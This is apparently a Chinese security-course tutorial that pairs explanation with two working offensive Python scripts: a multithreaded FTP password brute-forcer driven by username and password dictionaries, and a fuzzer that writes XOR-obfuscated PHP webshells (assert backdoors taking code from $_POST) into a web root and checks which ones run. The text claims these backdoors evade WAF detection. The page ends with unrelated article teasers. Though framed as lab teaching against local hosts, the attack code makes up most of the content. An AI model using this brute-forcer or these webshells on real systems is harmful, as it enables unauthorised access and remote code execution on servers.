78 Python开发-多线程FuzzWaf异或免杀爆破

这里写目录标题

    • 本课知识点:
    • 学习目的:
    • 演示案例:
      • Python开发-简单多线程技术实现脚本
      • Python开发-利用FTP模块实现协议爆破脚本
      • Python开发-配合Fuzz实现免杀异或Shell脚本
    • 涉及资源:

在这里插入图片描述

本课知识点:

协议模块使用,Request爬虫技术,简易多线程技术,编码技术,Bypass后门技术

学习目的:

掌握利用强大的模块实现各种协议连接操作(爆破或利用等),配合Fuzz吊打WAF等

演示案例:

Python开发-简单多线程技术实现脚本

queue,threading模块使用

Python开发-利用FTP模块实现协议爆破脚本

1.ftplib模块使用
2.遍历用户及密码字典
3.尝试连接执行命令判断

python里面基本上都有相对应的支持协议模块的库,我们就可以使用相关的库进行相关协议的连接

我们启动ftp服务器,到时候进行连接测试
在这里插入图片描述
ftp软件这边是可以看到日志的,到时候我们爆破的时候可以看一下有没有登录日志,看一下是不是正常的
在这里插入图片描述
我们在爆破的时候,要先把账号密码准备好,再去连接他
在这里插入图片描述
这个就是一个很正常的连接情况
在这里插入图片描述
服务器对外的服务端口是可以更改的

import ftplib                         # 导入ftplib模块
import threading                      # 导入threading模块实现多线程
import queue                          # 导入队列模块,配合多线程编程,能够在多线程中直接使用,可以使用队列来实现线程间的同步
import sys# 爆破:ip,端口,用户名,密码字典
def ftp_brute(ip,port):ftp = ftplib.FTP()                              # 创建ftp的操作类ftp.connect(ip, int(port))                      # 连接的ftp 设置ip和端口(ftp服务器默认的端口是21)# .empty()如果队列为空,返回 True,否则返回 Falsewhile not q.empty():                            # while 循环 not(非,反转) 真为假,假为真user_pass = q.get()                         # 获取队列,timeout等待时间list = user_pass.split('|')                 # split() 拆分字符串,等到的是一个列表username = list[0]                          # 用户名password = list[1]                          # 密码# print(f"{username} | {password}")try:                                        # 如果连接的用户名或密码错误就会报错,这个做个异常处理ftp.login(username,password)            # 连接的用户名,密码# ftp.retrlines('list')                   # 获取FTP服务器上的文件信息print(f"连接成功,账号:{username},密码:{password}")except Exception as e:# print(f"连接失败,{username}|{password}")passif __name__ == '__main__':try:ip = sys.argv[1]                               # 接收外部传进来的第一个参数ip,如:192.168.1.5port = sys.argv[2]                             # 接收外部传进来的第二个参数端口,如:21userfile = sys.argv[3]                         # 接收外部传进来的第三个参数用户名字典,如:ftp-user.txtpassfile = sys.argv[4]                         # 接收外部传进来的第四个个参数密码字典,如:ftp-pass.txtthreading_num = sys.argv[5]                    # 接收外部传进来的第五个参数创建的线程数,建议:5-10except IndexError as e:ip = '192.168.1.5'port = 21userfile = 'ftp-user.txt'passfile = 'ftp-pass.txt'threading_num = 5passq = queue.Queue()                              # 创建队列for username in open(userfile):                # ftp-user.txt 就是一个简单的用户名字典,自己创建一个或在网上下载都可以for password in open(passfile):            # 遍历密码字典username = username.replace('\n', '')  # 将换行替换为空password = password.replace('\n', '')q.put(username + '|' + password)       # 向队列中插入元素(用户名与密码)# 创建多线程,这个循环的次数越多创建的线程的次数就越多,线程不是越多越好,建议5到10个for x in range(int(threading_num)):                 # range() 创建一个数字序列,只写一个参数num就是从0开始创建到num-1的序列如:0-9t = threading.Thread(target=ftp_brute,args=(ip,port))     # 创建线程对象,target=执行目标任务名t.start()                                  # 启动线程,让他开始工作

通过ftp模块的学习,大家可以去写个其它协议的,比如mysql或者sqlserver的,模块打上去就完事了,就可以用这个模块进行连接操作

Python开发-配合Fuzz实现免杀异或Shell脚本

1.免杀异或shell原理讲解及开发思路 (参考及举例: !@,?等)
2.基于Fuzz思路生成大量Payload代码并有序命名写入网站文件中
3.基于多线程实现批量访问shell文件并提交测试是否正常连接回显

‘!’ ‘^’ '@'经过异或运算之后结果为a,与后面的ssert形成assert()函数,执行后门。或者是每个字母都进行异或运算最后形成执行函数

<?php $a=('!'^'@').'ssert';$a($_POST[x]);?>   // assert()

这个就是网上说的无字符后门

import requests                       # 这个模块是来发送网络请求的
import threading                      # 导入threading模块实现多线程
import queue                          # 导入队列模块,配合多线程编程,能够在多线程中直接使用,可以使用队列来实现线程间的同步def create_shell():while not q.empty():                                            # while 循环 not(非,反转) 真为假,假为真filename = q.get()                                          # 获取队列url = f'http://127.0.0.1/x/{filename}'                      # 定义请求的URLdata = {                                                    # 定义请求的参数'x':'phpinfo();'                                        # phpinfo()方法可以打开phpinfo页面(里面包含一些PHP的版本、扩展之类的信息)}try:result = requests.post(url,data=data).content.decode('utf-8')  # 使用requests模块发送post请求  .content 获取返回的结果  .decode('utf-8')指定解析的编码格式if 'phpinfo()' in result:                                      # 判断返回的源代码中是否包含phpinfo()这个字符串,有就是请求成功了后门程序可用,没有就是失败print(filename + '|ok')# else:#     print(filename + '|no')except Exception as e:passif __name__ == '__main__':q = queue.Queue()                                                         # 创建队列for i in range(1, 127):                                                   # ASCII值的范围就是1-127for ii in range(1, 127):payload = "'" + chr(i) + "'" + '^' + "'" + chr(ii) + "'"          # chr()方法将数字转换为ASCII值对应的字符code = "<?php $a=(" + payload + ").'ssert';$a($_POST[x]);?>"      # 定义后门代码filename = str(i) + 'xd' + str(ii) + '.php'                       # 定义文件路径q.put(filename)                                                   # 向队列中插入元素(文件名)# 这里要改成自己的phpStudy路径,x这个文件夹是要自己创建的with open(f'F:/phpStudy/PHPTutorial/WWW/x/{filename}', 'a') as f:  # 读取文件,a 文件不存在就会创建,如果已经存在就在后面追加内容f.write(code)                                                  # 向文件写入后门代码print(f"正在生成文件:{filename}")print(q.get())# 创建多线程,这个循环的次数越多创建的线程的次数就越多,线程不是越多越好,建议5到10个for x in range(10):                                                         # range() 创建一个数字序列,只写一个参数num就是从0开始创建到num-1的序列如:0-9t = threading.Thread(target=create_shell)                              # 创建线程对象,target=执行目标任务名t.start()                                                              # 启动线程,让他开始工作

这个后门是WAF查杀绝对找不出来的

涉及资源:

Webshell免杀绕过waf:https://blog.csdn.net/weixin_43263566/article/details/129391167
fuzzdb:https://github.com/zhanye/fuzzdb
fuzzDicts:https://github.com/stemmm/fuzzDicts
Webshell免杀绕过waf:https://www.cnblogs.com/liujizhou/p/11806497.html
python ftplib模块:https://www.cnblogs.com/kaituorensheng/p/4480512.html
PHP异或:https://blog.csdn.net/qq_41617034/article/details/104441032

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/594874.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

探索模块化神经网络在现代人工智能中的功效和应用

一、介绍 在快速发展的人工智能领域&#xff0c;模块化神经网络 (MNN) 已成为一项关键创新。与遵循整体方法的传统神经网络架构不同&#xff0c;MNN 采用分散式结构。本文深入探讨了 MNN 的基础知识、它们的优势、应用以及它们带来的挑战。 evertongomede 在人工智能领域&#…

通灵术揭秘:空碗“竖筷子”不倒

通灵术揭秘&#xff1a;空碗“竖筷子”不倒 释名&#xff1a;竖筷子是流传很广的一种民间小术&#xff0c;因其法是在碗中竖起一支或三支筷子&#xff0c;故名。 用处&#xff1a;如果有人莫名其妙的生病了&#xff0c;医药无效&#xff0c;按民间的说法&#xff0c;就是遇鬼了…

苹果cmsV10暗黑大气MT主题模板源码-只有PC版本

苹果cms MT主题是一款多功能苹果cmsV10暗黑大气主题 初次使用说明&#xff1a; 网站模板选择mt 模板目录填写html 后台地址&#xff1a;MT主题,mt/mtset 先应用主题打开前台&#xff0c;再点击后台。 源码下载&#xff1a;https://download.csdn.net/download/m0_66047725…

Python武器库开发-武器库篇之代理池配置(四十)

武器库篇之代理池配置(四十) 我们在渗透的过程中&#xff0c;是必须要挂代理的&#xff0c;相信为何要挂代理的原因&#xff0c;各位也是非常的明白的&#xff0c;这里就不多讲了。关于如何挂代理和购买代理大家可以去看内网隧道代理技术&#xff08;十&#xff09;之公网资产…

GitHub上的15000个Go模块存储库易受劫持攻击

内容概要&#xff1a; 目前研究发现&#xff0c;GitHub上超过15000个Go模块存储库容易受到一种名为“重新劫持”的攻击。 由于GitHub用户名的更改会造成9000多个存储库容易被重新劫持&#xff0c;同时因为帐户删除&#xff0c;会对6000多个存储库造成重新劫持的危机。目前统计…

华芯微特|MCU之TIMER输入捕获

引言 华芯微特公司SWM系列单片机提供的TIMER个数和功能有些微差别&#xff0c;为了让您更加简单的使用这一功能&#xff0c;下面小编将以SWM190为例&#xff0c;我们今天详细讲解一下TIMER的输入捕获功能。 TIMER输入捕获 一、TIMER定时器之输入捕获功能 我们今天详细讲解一下…

产品|燕窝中的“秘密武器”——燕窝酸

前言 当提及燕窝&#xff0c;大部分人脑海中首先会闪过的大概是“宫廷圣品”、“名贵补品”等听上去十分高大上的形容词。然而随着现代人们生活水平的提高&#xff0c;燕窝已不再神秘&#xff0c;逐渐成为寻常百姓餐桌上的常见食品之一。据我国中医记载&#xff0c;燕窝具有养…

项目框架构建之2:主机程序的搭建

本文是“项目框架构建”系列之2&#xff0c;要编写一个项目框架&#xff0c;就好像一个操作系统似的&#xff0c;得有一些东西可以搭载项目结构&#xff0c;而.net core的主机框架正是可以实现这一目的的好帮手。 简单介绍一下主机程序&#xff0c;我们生产系统中往往需要构建…

redis复习笔记02(小滴课堂)

分布式缓存Redis6常见核心配置讲解 查看配置文件&#xff1a; 创建配置文件&#xff1a; 配置完我们去验证一下&#xff1a; 启动成功就没有问题了。 可以看到redis日志。 然后我们就可以连接我们的redis了&#xff1a; 设置了密码就需要密码登录了。 如果登录了错误的密码也无…

12月,全国各地电子签推广应用政策汇总

12月&#xff0c;国务院及各地政府办公厅、市监局、住建委等机关部门&#xff0c;持续推动电子印章、电子合同等功能在“政府采购、工程项目审批、企业开办等”领域深化应用&#xff0c;加快实现电子签章互信互认&#xff0c;不断简化办事流程&#xff0c;让越来越多高频常办事…

关于几何建模内核

几何建模内核是用于提供计算机辅助设计 (CAD) 软件中的 3D 建模功能的软件组件。它用于设计虚拟模型以为真实对象的仿真和制造提供支持。几何建模内核使用各种不同的几何表示形式来表示真实对象。这些模型包括使用三角形表面网格粗略估计对象的小平面模型&#xff0c;以及使用在…

边坡安全监测预警系统——高效率

安装边坡安全监测预警系统的原因是多方面的&#xff0c;涉及到社会效益、经济效益和环境效益。随着国家基础设施建设的快速发展&#xff0c;边坡安全监测预警系统的需求越来越迫切。 边坡安全监测预警系统对于保障人民生命财产安全具有重要意义。在山区、丘陵地带&#xff0c;边…

机器学习期末复习

机器学习 选择题名词解释&#xff1a;简答题计算题一、线性回归二、决策树三、贝叶斯 选择题 机器学习利用经验 &#xff0c;须对以下&#xff08;&#xff09;进行分析 A 天气 B 数据 C 生活 D 语言 归纳偏好值指机器学习算法在学习的过程中&#xff0c;对以下&#xff08;&a…

DHTMLX Spreadsheet v5.1.1 Crack

DHTMLX Spreadsheet 5.1 具有新主题、简化的数字格式本地化、与框架的实时集成演示等 推出 DHTMLX Spreadsheet v5.1。新版本提供了一组有用的功能&#xff0c;这对开发人员和最终用户都有吸引力。 首先&#xff0c;新的电子表格版本提供了 4 个内置主题&#xff0c;可以根据您…

STM32CubeMX RS485接口使用

一、基本知识 TTL&#xff08;Transistor-Transistor Logic&#xff09;&#xff1a; 电平范围&#xff1a; 逻辑1对应于2.4V–5V&#xff0c;逻辑0对应于0V–0.5V。通信特点&#xff1a; 全双工。特点&#xff1a; 常见于单片机和微控制器的IO电平&#xff0c;USB转TTL模块通常…

【Qt第三方库】QXlsx库——对 Excel 文件进行相关操作

0 前言 关键词&#xff1a;Qt&#xff1b;Excel&#xff1b;QXlsx&#xff1b;QInt 简介&#xff1a; QXlsx 是第三方开源的库&#xff0c;能够对 Excel 文件进行相关操作&#xff08;读写等&#xff09; 地址&#xff1a; QXlsx官网 QXlsx的Github主页 1 快速上手 对于第一次…

设计模式-流接口模式

设计模式专栏 模式介绍模式特点应用场景流接口模式和工厂模式的区别代码示例Java实现流接口模式Python实现流接口模式 流接口模式在spring中的应用 模式介绍 流接口模式是一种面向对象的编程模式&#xff0c;它可以使代码更具可读性和流畅性。流接口模式的核心思想是采用链式调…

[Unity]实时阴影技术方案总结

一&#xff0c;Planar Shadow 原理就是将模型压扁之后绘制在需要接受阴影的物体上&#xff0c;这种方式十分高效&#xff0c;消耗很低。具体实现过程参考Unity Shader - Planar Shadow - 平面阴影。具按照自己的理解&#xff0c;其实就是根据光照方向计算片元在接受阴影的平面…

odoo 客制化审批流

以BPM、OA为代表的应用平台&#xff0c;低代码处理为前提的审批流功能定制化 功能介绍&#xff1a; 业务对象&#xff1a;针对侵入式注册BPM业务场景&#xff1a;设置审批场景&#xff1a;如&#xff1a;请假大于三天的场景、金额大于1000的场景节点条件&#xff1a; 当符合某…

Spring Cloud Gateway整合Sentinel

日升时奋斗&#xff0c;日落时自省 目录 1、实现整合 1.1、添加框架依赖 1.2、设置配置文件 1.3、设置限流和熔断规则 1.3.1、限流配置 Route ID限流配置 API限流配置 1.3.2、熔断配置 2、实现原理 先前Sentinel针对是业务微服务&#xff0c;没有整合Sentinel到Spring…